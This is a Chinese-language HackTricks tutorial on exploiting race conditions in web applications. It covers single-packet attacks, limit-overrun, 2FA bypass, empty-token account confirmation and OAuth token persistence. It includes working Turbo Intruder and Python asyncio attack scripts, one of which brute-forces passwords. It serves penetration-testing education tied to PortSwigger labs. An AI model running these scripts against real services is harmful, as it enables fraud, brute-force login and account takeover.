mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
291 lines
16 KiB
Markdown
291 lines
16 KiB
Markdown
# 竞争条件
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建和 **自动化工作流程**,利用全球 **最先进** 的社区工具。\
|
||
立即获取访问权限:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
|
||
|
||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
{% hint style="warning" %}
|
||
要深入了解此技术,请查看原始报告:[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
{% endhint %}
|
||
|
||
## 加强竞争条件攻击
|
||
|
||
利用竞争条件的主要障碍是确保多个请求同时处理,且它们的处理时间**几乎没有差异—最好小于 1 毫秒**。
|
||
|
||
以下是一些同步请求的技术:
|
||
|
||
#### HTTP/2 单数据包攻击 vs. HTTP/1.1 最后字节同步
|
||
|
||
- **HTTP/2**:支持通过单个 TCP 连接发送两个请求,减少网络抖动的影响。然而,由于服务器端的变化,两个请求可能不足以实现一致的竞争条件利用。
|
||
- **HTTP/1.1 '最后字节同步'**:允许预先发送大部分 20-30 个请求的内容,保留一个小片段,然后一起发送,实现同时到达服务器。
|
||
|
||
**准备进行最后字节同步** 包括:
|
||
1. 发送标题和主体数据,但不包括最后一个字节,不结束流。
|
||
2. 初始发送后暂停 100 毫秒。
|
||
3. 禁用 TCP_NODELAY 以利用 Nagle 算法批处理最终帧。
|
||
4. 发送 ping 以热身连接。
|
||
|
||
随后发送保留的帧应导致它们以单个数据包到达,可通过 Wireshark 进行验证。此方法不适用于通常不涉及竞争条件攻击的静态文件。
|
||
|
||
### 适应服务器架构
|
||
|
||
了解目标的架构至关重要。前端服务器可能会以不同方式路由请求,影响时间。通过无关紧要的请求进行预先的服务器端连接热身,可能会使请求时间正常化。
|
||
|
||
#### 处理基于会话的锁定
|
||
|
||
像 PHP 的会话处理程序会根据会话对请求进行序列化,可能会隐藏漏洞。为每个请求使用不同的会话令牌可以规避此问题。
|
||
|
||
#### 克服速率或资源限制
|
||
|
||
如果连接热身无效,通过故意触发 Web 服务器的速率或资源限制延迟,通过洪水式的虚拟请求可能有助于通过引发有利于竞争条件的服务器端延迟来促进单数据包攻击。
|
||
|
||
|
||
## 攻击示例
|
||
|
||
* **Tubo Intruder - HTTP2 单数据包攻击(1 个端点)**:您可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以更改请求中要暴力破解的值为 **`%s`**,如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**:
|
||
|
||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
如果您要**发送不同的值**,您可以修改代码,使用从剪贴板中获取的字典文件:
|
||
```python
|
||
passwords = wordlists.clipboard
|
||
for password in passwords:
|
||
engine.queue(target.req, password, gate='race1')
|
||
```
|
||
{% hint style="warning" %}
|
||
如果网站不支持HTTP2(仅支持HTTP1.1),请使用`Engine.THREADED`或`Engine.BURP`,而不是`Engine.BURP2`。
|
||
{% endhint %}
|
||
|
||
* **Tubo Intruder - HTTP2单数据包攻击(多个端点)**:如果您需要向一个端点发送请求,然后向其他端点发送多个请求以触发RCE,您可以修改`race-single-packet-attack.py`脚本,类似于:
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=1,
|
||
engine=Engine.BURP2
|
||
)
|
||
|
||
# Hardcode the second request for the RC
|
||
confirmationReq = '''POST /confirm?token[]= HTTP/2
|
||
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
|
||
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
|
||
Content-Length: 0
|
||
|
||
'''
|
||
|
||
# For each attempt (20 in total) send 50 confirmation requests.
|
||
for attempt in range(20):
|
||
currentAttempt = str(attempt)
|
||
username = 'aUser' + currentAttempt
|
||
|
||
# queue a single registration request
|
||
engine.queue(target.req, username, gate=currentAttempt)
|
||
|
||
# queue 50 confirmation requests - note that this will probably sent in two separate packets
|
||
for i in range(50):
|
||
engine.queue(confirmationReq, gate=currentAttempt)
|
||
|
||
# send all the queued requests for this attempt
|
||
engine.openGate(currentAttempt)
|
||
```
|
||
* 在Burp Suite中,通过新的“**并行发送组**”选项,也可以在**Repeater**中使用。
|
||
* 对于**limit-overrun**,您可以在组中**添加相同请求50次**。
|
||
* 对于**连接预热**,您可以在组的**开头**添加一些请求到Web服务器的一些非静态部分。
|
||
* 要在处理**一个请求和另一个请求**之间的过程中**延迟**,您可以在这两个请求之间**添加额外的请求**,形成2个子状态步骤。
|
||
* 对于**多端点**的RC,您可以开始发送**进入隐藏状态的请求**,然后在其后立即发送**50个利用隐藏状态的请求**。
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### 原始BF
|
||
|
||
在进行上述研究之前,这些是一些使用的有效载荷,只是尝试尽快发送数据包以引发RC。
|
||
|
||
* **Repeater:**请查看前一节中的示例。
|
||
* **Intruder:**将**请求**发送到**Intruder**,在**选项菜单**中将**线程数**设置为**30**,选择**Null有效载荷**作为有效载荷并生成**30**。
|
||
* **Turbo Intruder**
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=5,
|
||
requestsPerConnection=1,
|
||
pipeline=False
|
||
)
|
||
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
|
||
for i in range(len(a)):
|
||
engine.queue(target.req,a[i], gate='race1')
|
||
# open TCP connections and send partial requests
|
||
engine.start(timeout=10)
|
||
engine.openGate('race1')
|
||
engine.complete(timeout=60)
|
||
|
||
def handleResponse(req, interesting):
|
||
table.add(req)
|
||
```
|
||
* **Python - asyncio**
|
||
```python
|
||
import asyncio
|
||
import httpx
|
||
|
||
async def use_code(client):
|
||
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
|
||
return resp.text
|
||
|
||
async def main():
|
||
async with httpx.AsyncClient() as client:
|
||
tasks = []
|
||
for _ in range(20): #20 times
|
||
tasks.append(asyncio.ensure_future(use_code(client)))
|
||
|
||
# Get responses
|
||
results = await asyncio.gather(*tasks, return_exceptions=True)
|
||
|
||
# Print results
|
||
for r in results:
|
||
print(r)
|
||
|
||
# Async2sync sleep
|
||
await asyncio.sleep(0.5)
|
||
print(results)
|
||
|
||
asyncio.run(main())
|
||
```
|
||
## **RC Methodology**
|
||
|
||
### 限制超限 / TOCTOU
|
||
|
||
这是最基本的一种竞争条件,其中**漏洞**出现在**限制您执行操作次数的地方**。比如在网店中多次使用相同的折扣代码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个漏洞**](https://hackerone.com/reports/759247)**中找到**。
|
||
|
||
这种攻击有许多变种,包括:
|
||
|
||
- 多次兑换礼品卡
|
||
- 多次评价产品
|
||
- 超出账户余额提取或转账现金
|
||
- 重复使用单个验证码解决方案
|
||
- 绕过反暴力破解速率限制
|
||
|
||
### **隐藏子状态**
|
||
|
||
利用复杂的竞争条件通常涉及利用与隐藏或**意外的机器子状态**交互的短暂机会。以下是处理此类情况的方法:
|
||
|
||
1. **识别潜在的隐藏子状态**
|
||
- 首先,确定修改或与关键数据交互的端点,如用户配置文件或密码重置流程。关注:
|
||
- **存储**:优先选择处理服务器端持久数据的端点,而不是处理客户端数据的端点。
|
||
- **操作**:寻找修改现有数据的操作,这些操作比添加新数据的操作更有可能创建可利用的条件。
|
||
- **键入**:成功的攻击通常涉及使用相同标识符(例如用户名或重置令牌)的操作。
|
||
|
||
2. **进行初始探测**
|
||
- 使用竞争条件攻击测试已识别的端点,观察是否有与预期结果不符的情况。意外的响应或应用行为的变化可能表明存在漏洞。
|
||
|
||
3. **展示漏洞**
|
||
- 将攻击范围缩小到利用漏洞所需的最少请求数,通常仅为两个。由于涉及精确的时间,此步骤可能需要多次尝试或自动化。
|
||
|
||
### 时间敏感攻击
|
||
|
||
在定时请求方面的精确性可以揭示漏洞,特别是在安全令牌使用可预测方法(如时间戳)时。例如,基于时间戳生成密码重置令牌可能允许同时请求相同的令牌。
|
||
|
||
**利用:**
|
||
- 使用精确的时间,如单个数据包攻击,进行并发密码重置请求。相同的令牌表明存在漏洞。
|
||
|
||
**示例:**
|
||
- 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。
|
||
|
||
**查看此[PortSwigger实验室](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)以尝试此操作。**
|
||
|
||
|
||
## 隐藏子状态案例研究
|
||
|
||
### 支付并添加商品
|
||
|
||
查看此[**PortSwigger实验室**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)以了解如何在商店中**支付**并**添加额外**商品而**无需为其付款**。
|
||
|
||
### 确认其他电子邮件
|
||
|
||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个**,以查明平台是否验证了更改后的新电子邮件。
|
||
|
||
### 将电子邮件更改为2个电子邮件地址基于Cookie
|
||
|
||
根据[**这项研究**](https://portswigger.net/research/smashing-the-state-machine),Gitlab容易受到接管的威胁,因为它可能**将一个电子邮件的电子邮件验证令牌发送到另一个电子邮件**。
|
||
|
||
**查看此[PortSwigger实验室](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)以尝试此操作。**
|
||
|
||
### 隐藏数据库状态 / 确认绕过
|
||
|
||
如果使用**2个不同的写入**向**数据库中添加信息**,则在**仅第一个数据已写入**数据库的短暂时间内。例如,创建用户时**用户名**和**密码**可能会被**写入**,然后写入确认新创建帐户的令牌。这意味着在短暂时间内**用于确认帐户的令牌为空**。
|
||
|
||
因此,**注册一个帐户并发送多个带有空令牌的请求**(`token=`或`token[]=`或任何其他变体)立即确认帐户可能允许**确认一个您无法控制电子邮件的帐户**。
|
||
|
||
**查看此[PortSwigger实验室](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)以尝试此操作。**
|
||
|
||
### 绕过2FA
|
||
|
||
以下伪代码容易受到竞争条件攻击的影响,因为在非常短的时间内**2FA未强制执行**而会创建会话:
|
||
```python
|
||
session['userid'] = user.userid
|
||
if user.mfa_enabled:
|
||
session['enforce_mfa'] = True
|
||
# generate and send MFA code to user
|
||
# redirect browser to MFA code entry form
|
||
```
|
||
### OAuth2永久性持久性
|
||
|
||
有几个[**OAuth提供者**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)。这些服务将允许您创建一个应用程序并对提供者已注册的用户进行身份验证。为了做到这一点,**客户端**将需要**允许您的应用程序**访问**OAuth提供者**内部的一些数据。\
|
||
因此,直到这里只是一个常见的使用google/linkedin/github等登录,您会看到一个页面,上面写着:“_应用程序\<InsertCoolName>想要访问您的信息,您是否允许?_”
|
||
|
||
#### `authorization_code`中的竞争条件
|
||
|
||
**问题**出现在您**接受**并自动向恶意应用程序发送**`authorization_code`**时。然后,此**应用程序滥用OAuth服务提供商中的竞争条件,从`authorization_code`为您的帐户生成多个AT/RT**(_认证令牌/刷新令牌_)。基本上,它将滥用您已经允许应用程序访问您的数据的事实来**创建多个帐户**。然后,如果您**停止允许应用程序访问您的数据,一个AT/RT对将被删除,但其他对仍将有效**。
|
||
|
||
#### `Refresh Token`中的竞争条件
|
||
|
||
一旦您**获得了有效的RT**,您可以尝试**滥用它生成多个AT/RT**,即使用户取消了恶意应用程序访问其数据的权限,**多个RT仍将有效**。
|
||
|
||
## **WebSockets中的RC**
|
||
|
||
在[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC)中,您可以找到一个Java PoC,用于**并行**发送websocket消息以滥用**Web Sockets中的竞争条件**。
|
||
|
||
## 参考资料
|
||
|
||
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
||
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具驱动。\
|
||
立即获取访问权限:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|